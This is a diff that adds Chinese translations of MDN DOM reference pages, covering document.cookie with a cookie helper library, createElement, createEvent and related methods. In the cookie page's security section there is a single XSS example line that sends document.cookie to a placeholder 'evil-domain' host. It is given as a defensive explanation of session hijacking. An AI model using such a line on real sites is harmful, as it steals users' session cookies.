if (document.cookie.replace(/(?:(?:^|.*;\s*)someCookieName\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
+  alert("Do something here!");
+  document.cookie = "someCookieName=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
+}
+}
+
+ +

+ +

一个小框架:一个完整支持unicode的cookie读取/写入器

+ +

作为一个格式化过的字符串,cookie的值有时很难被自然地处理。下面的库的目的是通过定义一个和Storage对象部分一致的对象(docCookies),简化document.cookie 的获取方法。它提供完全的Unicode支持。

+ +
/*\
+|*|
+|*|  :: cookies.js ::
+|*|
+|*|  A complete cookies reader/writer framework with full unicode support.
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/document.cookie
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+|*|  Syntaxes:
+|*|
+|*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
+|*|  * docCookies.getItem(name)
+|*|  * docCookies.removeItem(name[, path], domain)
+|*|  * docCookies.hasItem(name)
+|*|  * docCookies.keys()
+|*|
+\*/
+
+var docCookies = {
+  getItem: function (sKey) {
+    return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
+  },
+  setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
+    if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }
+    var sExpires = "";
+    if (vEnd) {
+      switch (vEnd.constructor) {
+        case Number:
+          sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;
+          break;
+        case String:
+          sExpires = "; expires=" + vEnd;
+          break;
+        case Date:
+          sExpires = "; expires=" + vEnd.toUTCString();
+          break;
+      }
+    }
+    document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
+    return true;
+  },
+  removeItem: function (sKey, sPath, sDomain) {
+    if (!sKey || !this.hasItem(sKey)) { return false; }
+    document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + ( sDomain ? "; domain=" + sDomain : "") + ( sPath ? "; path=" + sPath : "");
+    return true;
+  },
+  hasItem: function (sKey) {
+    return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
+  },
+  keys: /* optional method: you can safely remove it! */ function () {
+    var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
+    for (var nIdx = 0; nIdx < aKeys.length; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }
+    return aKeys;
+  }
+};
+ +
Note: 对于永久cookie我们用了Fri, 31 Dec 9999 23:59:59 GMT作为过期日。如果你不想使用这个日期,可使用世界末日Tue, 19 Jan 2038 03:14:07 GMT,它是32位带符号整数能表示从1 January 1970 00:00:00 UTC开始的最大秒长(即01111111111111111111111111111111, 是 new Date(0x7fffffff * 1e3)).
+ +

写入cookie

+ +
语法
+ +
docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
+ +
描述
+ +

创建或覆盖一个cookie

+ +
参数
+ +
+
name (必要)
+
要创建或覆盖的cookie的名字 (string)。
+
value (必要)
+
cookie的值 (string)。
+
end (可选)
+
最大年龄的秒数 (一年为31536e3, 永不过期的cookie为Infinity) ,或者过期时间的GMTString格式或Date对象; 如果没有定义则会在会话结束时过期 (number – 有限的或 Infinitystring, Date object or null)。
+
path (可选)
+
例如 '/', '/mydir'。 如果没有定义,默认为当前文档位置的路径。(string or null)。路径必须为绝对路径(参见 RFC 2965)。关于如何在这个参数使用相对路径的方法请参见这段
+
domain (可选)
+
例如 'example.com', '.example.com' (包括所有子域名), 'subdomain.example.com'。如果没有定义,默认为当前文档位置的路径的域名部分 (stringnull)。
+
secure (可选)
+
cookie只会被https传输 (booleannull)。
+
+ +

得到cookie

+ +
语法
+ +
docCookies.getItem(name)
+ +
描述
+ +

读取一个cookie。如果cookie不存在返回null

+ +
参数
+ +
+
name
+
读取的cookie名 (string).
+
+ +

移除cookie

+ +
Syntax
+ +
docCookies.removeItem(name[, path],domain)
+ +
描述
+ +

删除一个cookie。

+ +
参数
+ +
+
name
+
要移除的cookie名(string).
+
path (可选)
+
例如 '/', '/mydir'。 如果没有定义,默认为当前文档位置的路径。(string or null)。路径必须为绝对路径(参见 RFC 2965)。关于如何在这个参数使用相对路径的方法请参见这段
+
domain (可选)
+
例如 'example.com', '.example.com' (包括所有子域名), 'subdomain.example.com'。如果没有定义,默认为当前文档位置的路径的域名部分 (stringnull)。
+
+ +

检测cookie

+ +
语法
+ +
docCookies.hasItem(name)
+ +
描述
+ +

检查一个cookie是否存在

+ +
参数
+ +
+
name
+
要检查的cookie名 (string).
+
+ +

得到所有cookie的列表

+ +
语法
+ +
docCookies.keys()
+ +
描述
+ +

返回一个这个路径所有可读的cookie的数组。

+ +

示例用法:

+ +
docCookies.setItem("test0", "Hello world!");
+docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);
+docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
+docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
+docCookies.setItem("test4", "Hello world!", "Sun, 06 Nov 2022 21:43:15 GMT");
+docCookies.setItem("test5", "Hello world!", "Tue, 06 Dec 2022 13:11:07 GMT", "/home");
+docCookies.setItem("test6", "Hello world!", 150);
+docCookies.setItem("test7", "Hello world!", 245, "/content");
+docCookies.setItem("test8", "Hello world!", null, null, "example.com");
+docCookies.setItem("test9", "Hello world!", null, null, null, true);
+docCookies.setItem("test1;=", "Safe character test;=", Infinity);
+
+alert(docCookies.keys().join("\n"));
+alert(docCookies.getItem("test1"));
+alert(docCookies.getItem("test5"));
+docCookies.removeItem("test1");
+docCookies.removeItem("test5", "/home");
+alert(docCookies.getItem("test1"));
+alert(docCookies.getItem("test5"));
+alert(docCookies.getItem("unexistingCookie"));
+alert(docCookies.getItem());
+alert(docCookies.getItem("test1;="));
+ +

安全

+ +

路径限制并不能阻止从其他路径访问cookie. 使用简单的DOM即可轻易地绕过限制(比如创建一个指向限制路径的, 隐藏的iframe, 然后访问其 contentDocument.cookie 属性). 保护cookie不被非法访问的唯一方法是将它放在另一个域名/子域名之下, 利用同源策略保护其不被读取.

+ +

Web应用程序通常使用cookies来标识用户身份及他们的登录会话. 因此通过窃听这些cookie, 就可以劫持已登录用户的会话. 窃听的cookie的常见方法包括社会工程和XSS攻击 -

+ +
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
+ +

HttpOnly 属性可以阻止通过javascript访问cookie, 从而一定程度上遏制这类攻击. 参见 Cookies and Security.

+ +

备注

+ + + +

规范

+ +

DOM Level 2: HTMLDocument.cookie

+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html b/files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html new file mode 100644 index 0000000000..450751cefa --- /dev/null +++ b/files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html @@ -0,0 +1,218 @@ +--- +title: 简单的cookie框架 +slug: Web/API/Document/cookie/Simple_document.cookie_framework +tags: + - Cookies + - cookie +translation_of: Web/API/Document/cookie/Simple_document.cookie_framework +--- +

一个小型框架: 一个完整的cookies读/写器对Unicode充分支持

+ +

由于Cookie只是特殊格式的字符串,因此有时很难管理它们。 以下库旨在通过定义一个与一个Storage 对象部分一致的对象(docCookies)来抽象对document.cookie的访问。

+ +

 以下代码也在GitHub上获取。它是基于GNU General Public License v3.0 许可 (许可链接)

+ +
+ +
/*\
+|*|
+|*|  :: cookies.js ::
+|*|
+|*|  A complete cookies reader/writer framework with full unicode support.
+|*|
+|*|  Revision #1 - September 4, 2014
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|  https://github.com/madmurphy/cookies.js
+|*|
+|*|  This framework is released under the GNU Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
+|*|
+|*|  Syntaxes:
+|*|
+|*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
+|*|  * docCookies.getItem(name)
+|*|  * docCookies.removeItem(name[, path[, domain]])
+|*|  * docCookies.hasItem(name)
+|*|  * docCookies.keys()
+|*|
+\*/
+
+var docCookies = {
+  getItem: function (sKey) {
+    if (!sKey) { return null; }
+    return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
+  },
+  setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
+    if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }
+    var sExpires = "";
+    if (vEnd) {
+      switch (vEnd.constructor) {
+        case Number:
+          sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;
+          break;
+        case String:
+          sExpires = "; expires=" + vEnd;
+          break;
+        case Date:
+          sExpires = "; expires=" + vEnd.toUTCString();
+          break;
+      }
+    }
+    document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
+    return true;
+  },
+  removeItem: function (sKey, sPath, sDomain) {
+    if (!this.hasItem(sKey)) { return false; }
+    document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "");
+    return true;
+  },
+  hasItem: function (sKey) {
+    if (!sKey) { return false; }
+    return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
+  },
+  keys: function () {
+    var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
+    for (var nLen = aKeys.length, nIdx = 0; nIdx < nLen; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }
+    return aKeys;
+  }
+};
+ +
Note: 对于never-expire-cookies  我们使用一个随意的遥远日期Fri, 31 Dec 9999 23:59:59 GMT. 处于任何原因,你担心这样一个日期,使用 惯例世界末日Tue, 19 Jan 2038 03:14:07 GMT - 这是自1970年1月1日00:00:00 UTC以来使用 有符号的32位二进制整数表示的最大秒数。(i.e., 01111111111111111111111111111111 which is new Date(0x7fffffff * 1e3)).
+ +

cookie的写入

+ +
语法
+ +
docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
+ +
Description
+ +

新增/重写一个 cookie.

+ +
参数
+ +
+
name
+
新增/重写一个 cookie的 名字  (字符传).
+
value
+
cookie的 (字符串).
+
end 可选
+
max-age(最大有效时间)单位秒 (e.g. 31536e3 表示一年, Infinity  表示永不过期的cookie), 或者以GMTString 格式或者Date object 的expires date(过期时间); 如果没有,指定的cookie将在会话结束时到期 (number – finite or Infinitystring, Date object or null). +
+

Note: 尽管 officially defined in rfc6265, max-age 在 Internet Explorer, Edg和一些移动端浏览器上不兼容. 因此,将数字传递给end参数可能无法按预期工作. 可能的解决方案可能是将相对时间转换为绝对时间。例如,以下代码:

+ +
docCookies.setItem("mycookie", "Hello world!", 150);
+ +

可以使用绝对日期重写,如下例所示:

+ +
 maxAgeToGMT (nMaxAge) {
+  return nMaxAge === Infinity ? "Fri, 31 Dec 9999 23:59:59 GMT" : (new Date(nMaxAge * 1e3 + Date.now())).toUTCString();
+}
+
+docCookies.setItem("mycookie", "Hello world!", maxAgeToGMT(150));
+ +

在上面的代码中,函数 maxAgeToGMT() 用于从相对时间(即,从“age”)创建GMTString.

+
+
+
path 可选
+
可访问此cookie的路径. 例如,“/”,“/ mydir”;如果未指定,则默认为当前文档位置的当前路径(string or null). The path must be absolute (see RFC 2965). For more information on how to use relative paths in this argument, see this paragraph.
+
domain 可选
+
可访问此cookie的域名. 例如,“example.com”“.example.com”(包括所有子域)或“subdomain.example.com”; 如果未指定,则默认为当前文档位置的主机端口(string or null).
+
secure 可选
+
cookie将仅通过https安全协议传输 (boolean or null).
+
+ +

获取一个cookie

+ +
语法
+ +
docCookies.getItem(name)
+ +
描述
+ +

读一个cookie。如果cookie不存在,则返回null值。Parameters

+ +
参数
+ +
+
name
+
读取cookie的名字 (string).
+
+ +

移除一个cookie

+ +
语法
+ +
docCookies.removeItem(name[, path[, domain]])
+ +
描述
+ +

删除一个cookie.

+ +
参数
+ +
+
name
+
待移除cookie的名字 (string).
+
path 可选
+
例如,"/","/ mydir";如果未指定,则默认为当前文档位置的当前路径 (string or null). The path must be absolute (see RFC 2965). For more information on how to use relative paths in this argument, see this paragraph.
+
domain 可选
+
例如, "example.com",  或者 "subdomain.example.com"; 如果未指定,则默认为当前文档位置的主机端口(字符串或null),但不包括子域。 (string or null), 但不包括子域名。与早期的规范相反,域名中的前置的点被忽略。如果指定了域,则始终包含子域。 +
Note: 要删除跨子域的cookie,您需要想setItem()样removeItem()中指定domain属性。
+
+
+ +

检查一个cookie(是否存在)

+ +
语法
+ +
docCookies.hasItem(name)
+ +
描述
+ +

检查当前位置是否存在cookie。

+ +
参数
+ +
+
name
+
待检查cookie的名字 (string).
+
+ +

获取所有cookie列表

+ +
Syntax
+ +
docCookies.keys()
+ +
Description
+ +

返回此位置的所有可读cookie的数组。

+ +

Example usage:

+ +
docCookies.setItem("test0", "Hello world!");
+docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);
+docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
+docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
+docCookies.setItem("test4", "Hello world!", "Wed, 19 Feb 2127 01:04:55 GMT");
+docCookies.setItem("test5", "Hello world!", "Fri, 20 Aug 88354 14:07:15 GMT", "/home");
+docCookies.setItem("test6", "Hello world!", 150);
+docCookies.setItem("test7", "Hello world!", 245, "/content");
+docCookies.setItem("test8", "Hello world!", null, null, "example.com");
+docCookies.setItem("test9", "Hello world!", null, null, null, true);
+docCookies.setItem("test1;=", "Safe character test;=", Infinity);
+
+alert(docCookies.keys().join("\n"));
+alert(docCookies.getItem("test1"));
+alert(docCookies.getItem("test5"));
+docCookies.removeItem("test1");
+docCookies.removeItem("test5", "/home");
+alert(docCookies.getItem("test1"));
+alert(docCookies.getItem("test5"));
+alert(docCookies.getItem("unexistingCookie"));
+alert(docCookies.getItem());
+alert(docCookies.getItem("test1;="));
+
diff --git a/files/zh-cn/web/api/document/createattribute/index.html b/files/zh-cn/web/api/document/createattribute/index.html new file mode 100644 index 0000000000..6b9e743ce9 --- /dev/null +++ b/files/zh-cn/web/api/document/createattribute/index.html @@ -0,0 +1,90 @@ +--- +title: document.createAttribute() +slug: Web/API/Document/createAttribute +tags: + - API + - DOM + - 参考 + - 方法 +translation_of: Web/API/Document/createAttribute +--- +
{{ ApiRef("DOM") }}
+ +

Document.createAttribute() 方法创建并返回一个新的属性节点。这个对象创建一个实现了 {{domxref("Attr")}} 接口的节点。这个方式下DOM不限制节点能够添加的属性种类。

+ +

语法

+ +
attribute = document.createAttribute(name)
+ +

参数

+ + + +

返回值

+ +

一个 {{domxref("Attr")}} 节点。

+ +

异常

+ + + +

例子

+ +
var node = document.getElementById("div1");
+var a = document.createAttribute("my_attrib");
+a.value = "newVal";
+node.setAttributeNode(a);
+console.log(node.getAttribute("my_attrib")); // "newVal"
+
+ +

备注

+ +

该方法的返回值是一个类型为 Attr 的节点。你可以通过为该节点的 nodeValue 属性赋值来设置该属性节点的属性值,也可以使用常用的 setAttribute() 方法来替代该方法.

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-document-createattribute','Document.createAttribute()')}}{{Spec2("DOM WHATWG")}}大写字符的精确表现。
{{SpecName('DOM3 Core','core.html#ID-1084891198','Document.createAttribute()')}}{{Spec2('DOM3 Core')}}无变更。
{{SpecName('DOM2 Core','core.html#ID-1084891198','Document.createAttribute()')}}{{Spec2('DOM2 Core')}}无变更。
{{SpecName('DOM1','level-one-core.html#ID-1084891198','Document.createAttribute()')}}{{Spec2('DOM1')}}初始定义。
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.createAttribute")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/createcdatasection/index.html b/files/zh-cn/web/api/document/createcdatasection/index.html new file mode 100644 index 0000000000..298e0021fb --- /dev/null +++ b/files/zh-cn/web/api/document/createcdatasection/index.html @@ -0,0 +1,67 @@ +--- +title: Document.createCDATASection() +slug: Web/API/Document/createCDATASection +tags: + - API + - DOM + - 参考 + - 方法 +translation_of: Web/API/Document/createCDATASection +--- +
{{APIRef("DOM")}}
+ +

createCDATASection() 创建并返回一个新的 CDATA 片段节点。

+ +

语法

+ +
var CDATASectionNode = document.createCDATASection(data);
+
+ + + +

示例

+ +
var docu = new DOMParser().parseFromString('<xml></xml>', 'application/xml');
+
+var cdata = docu.createCDATASection('Some <CDATA> data & then some');
+
+docu.getElementsByTagName('xml')[0].appendChild(cdata);
+
+alert(new XMLSerializer().serializeToString(docu));
+// Displays: <xml><![CDATA[Some <CDATA> data & then some]]></xml>
+
+ +

备注

+ + + +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#dom-document-createcdatasection', 'document.createCDATASection')}}{{Spec2('DOM WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.createCDATASection")}}

diff --git a/files/zh-cn/web/api/document/createcomment/index.html b/files/zh-cn/web/api/document/createcomment/index.html new file mode 100644 index 0000000000..1959a87312 --- /dev/null +++ b/files/zh-cn/web/api/document/createcomment/index.html @@ -0,0 +1,33 @@ +--- +title: document.createComment +slug: Web/API/Document/createComment +translation_of: Web/API/Document/createComment +--- +

{{ ApiRef() }}

+

概述

+

createComment() 方法用来创建并返回一个注释节点.

+

语法

+
var commentNode = document.createComment(data)
+
+

参数

+ +

例子

+
var docu = new DOMParser().parseFromString('<xml></xml>',  "application/xml")
+
+var comment = docu.createComment('这是注释内容');
+
+docu.getElementsByTagName('xml')[0].appendChild(comment);
+
+alert(new XMLSerializer().serializeToString(docu));
+// 弹出 <xml><!--这是注释内容--></xml>
+
+

备注

+ +

规范

+

createComment

+

{{ languages( {"en": "en/DOM/document.createComment" } ) }}

diff --git a/files/zh-cn/web/api/document/createdocumentfragment/index.html b/files/zh-cn/web/api/document/createdocumentfragment/index.html new file mode 100644 index 0000000000..45f552bff4 --- /dev/null +++ b/files/zh-cn/web/api/document/createdocumentfragment/index.html @@ -0,0 +1,91 @@ +--- +title: Document.createDocumentFragment() +slug: Web/API/Document/createDocumentFragment +tags: + - API + - DOM + - Document + - Method + - Reference +translation_of: Web/API/Document/createDocumentFragment +--- +
{{ ApiRef("DOM") }}
+ +
 
+ +

创建一个新的空白的文档片段( DocumentFragment)。

+ +

语法

+ +
let fragment = document.createDocumentFragment();
+
+ +

fragment 是一个指向空{{domxref("DocumentFragment")}}对象的引用。

+ +

描述

+ +

DocumentFragments 是DOM节点。它们不是主DOM树的一部分。通常的用例是创建文档片段,将元素附加到文档片段,然后将文档片段附加到DOM树。在DOM树中,文档片段被其所有的子元素所代替。

+ +

因为文档片段存在于内存中,并不在DOM树中,所以将子元素插入到文档片段时不会引起页面回流(对元素位置和几何上的计算)。因此,使用文档片段通常会带来更好的性能

+ +

示例

+ +

此示例创建主流Web浏览器的列表。

+ +

HTML

+ +
<ul id="ul">
+</ul>
+ +

JavaScript

+ +
var element  = document.getElementById('ul'); // assuming ul exists
+var fragment = document.createDocumentFragment();
+var browsers = ['Firefox', 'Chrome', 'Opera',
+    'Safari', 'Internet Explorer'];
+
+browsers.forEach(function(browser) {
+    var li = document.createElement('li');
+    li.textContent = browser;
+    fragment.appendChild(li);
+});
+
+element.appendChild(fragment);
+ +

结果

+ +

{{EmbedLiveSample("Example", 600, 140)}}

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}{{Spec2('DOM WHATWG')}}Initial definition in the DOM 1 specification.
+ +

浏览器兼容

+ + + +

{{Compat("api.Document.createDocumentFragment")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/document/createelement/index.html b/files/zh-cn/web/api/document/createelement/index.html new file mode 100644 index 0000000000..a0b1fecfad --- /dev/null +++ b/files/zh-cn/web/api/document/createelement/index.html @@ -0,0 +1,147 @@ +--- +title: Document.createElement() +slug: Web/API/Document/createElement +tags: + - API + - DOM + - Document + - 参考 + - 方法 +translation_of: Web/API/Document/createElement +--- +
{{APIRef("DOM")}}
+ +

HTML 文档中,Document.createElement() 方法用于创建一个由标签名称 tagName 指定的 HTML 元素。如果用户代理无法识别 tagName,则会生成一个未知 HTML 元素 {{domxref("HTMLUnknownElement")}}。

+ +

语法

+ +
var element = document.createElement(tagName[, options]);
+
+ +

参数

+ +
+
tagName
+
指定要创建元素类型的字符串,创建元素时的 {{domxref("Node.nodeName", "nodeName")}} 使用 tagName 的值为初始化,该方法不允许使用限定名称(如:"html:a"),在 HTML 文档上调用 createElement() 方法创建元素之前会将tagName 转化成小写,在 Firefox、Opera 和 Chrome 内核中,createElement(null) 等同于 createElement("null")
+
options{{optional_inline}}
+
一个可选的参数 ElementCreationOptions 是包含一个属性名为 is 的对象,该对象的值是用 customElements.define() 方法定义过的一个自定义元素的标签名。为了向前兼容较老版本的 Custom Elements specification, 有一些浏览器会允许你传一个值为自定义元素的标签名的字符串作为该参数的值。可以参考本页下方的 {{anch("Web component example")}} Google 的 Extending native HTML elements 文档仔细了解如何使用该参数。
+
+ +

返回值

+ +

新建的元素({{domxref("Element")}})。

+ +

示例

+ +

HTML

+ +

创建一个新的 <div> 并且插入到ID为“div1”的元素前。

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <title>||Working with elements||</title>
+</head>
+<body>
+  <div id="div1">The text above has been created dynamically.</div>
+</body>
+</html>
+
+ +

JavaScript

+ +
document.body.onload = addElement;
+
+function addElement () {
+  // 创建一个新的 div 元素
+  let newDiv = document.createElement("div");
+  // 给它一些内容
+  let newContent = document.createTextNode("Hi there and greetings!");
+  // 添加文本节点 到这个新的 div 元素
+  newDiv.appendChild(newContent);
+
+  // 将这个新的元素和它的文本添加到 DOM 中
+  let currentDiv = document.getElementById("div1");
+  document.body.insertBefore(newDiv, currentDiv);
+}
+
+ +

{{EmbedLiveSample("Basic_example", 500, 50)}}

+ +

Web component 示例

+ +

以下示例片段取自我们的 expanding-list-web-component 示例(实时查看)。 在这个案例中, 我们的自定义元素继承了以 {{htmlelement("ul")}} 元素为代表的 {{domxref("HTMLUListElement")}}.

+ +
// 为新元素创建一个类
+class ExpandingList extends HTMLUListElement {
+  constructor() {
+    // Always call super first in constructor
+    super();
+
+    // constructor definition left out for brevity
+    ...
+  }
+}
+
+// 定义新元素
+customElements.define('expanding-list', ExpandingList, { extends: "ul" });
+
+ +

如果我们想以函数的方式创建此元素的实例,则可以使用以下方式调用:

+ +
let expandingList = document.createElement('ul', { is : 'expanding-list' })
+ +

新元素将被赋予is属性,其值为自定义元素的标签名称。

+ +
+

Note: 为了兼容之前版本的 Custom Elements specification 规范,某些浏览器将允许您在此处传递字符串而不是对象,其中字符串的值是自定义元素的标记名。

+
+ +

注意

+ + + +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', "#dom-document-createelement", "Document.createElement")}}{{Spec2('DOM WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.createElement")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/document/createelementns/index.html b/files/zh-cn/web/api/document/createelementns/index.html new file mode 100644 index 0000000000..1a4f11c616 --- /dev/null +++ b/files/zh-cn/web/api/document/createelementns/index.html @@ -0,0 +1,179 @@ +--- +title: Document.createElementNS() +slug: Web/API/Document/createElementNS +tags: + - API + - DOM + - Method + - Reference +translation_of: Web/API/Document/createElementNS +--- +
{{ApiRef("DOM")}}
+ +

创建一个具有指定的命名空间URI和限定名称的元素。

+ +

要创建一个元素而不指定命名空间URI,请使用  createElement 方法。

+ +

语法

+ +
let element =
+document.createElementNS(namespaceURI, qualifiedName[, options]);
+
+ +

参数

+ +
+
namespaceURI
+
指定与元素相关联的命名空间URI的字符串。创建的元素的namespaceURI属性使用namespaceURI的值进行初始化。 参见有效的命名空间URL
+
qualifiedName
+
指定要创建的元素的类型的字符串。 创建的元素的nodeName属性使用qualifiedName的值进行初始化。
+
options可选的
+
一个可选的包含单个属性的ElementCreationOptions对象,其值是预先使用customElements.define()定义的自定义元素的标签名称。为了向后兼容自定义元素规范的早期版本,一些浏览器允许您在此使用字符串替代对象,其中字符串的值是自定义元素的标签名称。有关如何使用此参数的详情,请参阅原生HTML元素
+
新元素将被赋予一个属性,其值是自定义元素的标签名称。 自定义元素是实验中的功能,目前仅在某些浏览器中可用。
+
+ +

返回值

+ +

元素

+ +

有效的命名空间URI

+ + + +

示例

+ +

XHTML命名空间中创建一个新的<div>元素并将其添加到vbox的结尾处。虽然这不是一个非常有用的XUL文档,它演示了在单个文档中使用来自两个不同命名空间的元素:

+ +
<?xml version="1.0"?>
+<page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+      xmlns:html="http://www.w3.org/1999/xhtml"
+      title="||Working with elements||"
+      onload="init()">
+
+<script type="text/javascript"><![CDATA[
+ var container;
+ var newdiv;
+ var txtnode;
+
+ function init(){
+   container = document.getElementById("ContainerBox");
+   newdiv = document.createElementNS("http://www.w3.org/1999/xhtml","div");
+   txtnode = document.createTextNode("这是使用createElementNS和createTextNode动态构造的文本,然后使用appendChild插入到文档中。");
+   newdiv.appendChild(txtnode);
+   container.appendChild(newdiv);
+ }
+
+]]></script>
+
+ <vbox id='ContainerBox' flex='1'>
+  <html:div>
+   此页面上的脚本将添加以下动态内容:
+  </html:div>
+ </vbox>
+
+</page>
+
+ +
+

上面给出的示例中使用了在XHTML文档中不推荐的内联脚本。这个特定的示例实际上是一个嵌入XHTML的XUL文档,然而,仍然建议适用。

+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('DOM WHATWG', "#dom-document-createelementns", "Document.createElement")}}{{Spec2('DOM WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
options argument{{CompatVersionUnknown}}[1]{{CompatNo}}{{CompatGeckoDesktop(50)}}[2][3]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1]在本规范的早期版本中,此参数只是一个字符串,其值是自定义元素的标签名称。为了向后兼容性,Chrome同时接受这两种格式。

+ +

[2] 参阅[1]:像Chrome一样,Firefox从51版开始在这里接受一个字符串而不是一个对象。但是在版本50中,选项必须是对象。

+ +

[3] 要在Firefox中实验自定义元素,必须将dom.webcomponents.enabled和dom.webcomponents.customelements.enabled首选项设置为true。

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/document/createevent/index.html b/files/zh-cn/web/api/document/createevent/index.html new file mode 100644 index 0000000000..4148af1f48 --- /dev/null +++ b/files/zh-cn/web/api/document/createevent/index.html @@ -0,0 +1,189 @@ +--- +title: Document.createEvent() +slug: Web/API/Document/createEvent +translation_of: Web/API/Document/createEvent +--- +
+

createEvent使用的许多方法, 如 initCustomEvent, 都被废弃了. 请使用 event constructors 来替代.

+
+ +
{{ ApiRef("DOM") }}
+ +
 
+ +

创建一个指定类型的事件。其返回的对象必须先初始化并可以被传递给 element.dispatchEvent

+ +

语法

+ +
var event = document.createEvent(type);
+
+ + + +

示例

+ +
// 创建事件
+var event = document.createEvent('Event');
+
+// 定义事件名为'build'.
+event.initEvent('build', true, true);
+
+// 监听事件
+elem.addEventListener('build', function (e) {
+  // e.target matches elem
+}, false);
+
+// 触发对象可以是任何元素或其他事件目标
+elem.dispatchEvent(event);
+
+ +

参考

+ + + +

注意

+ +

Event type字符串只能传递事件模块中定义的值给CreateEvent。其中一些事件模块是在DOM事件规范定义的,还有些事在其他规范定义的(如SVG),还有一些是Gecko-specific事件。详情见下表。

+ +

To-do: 添加事件名称到下表中。

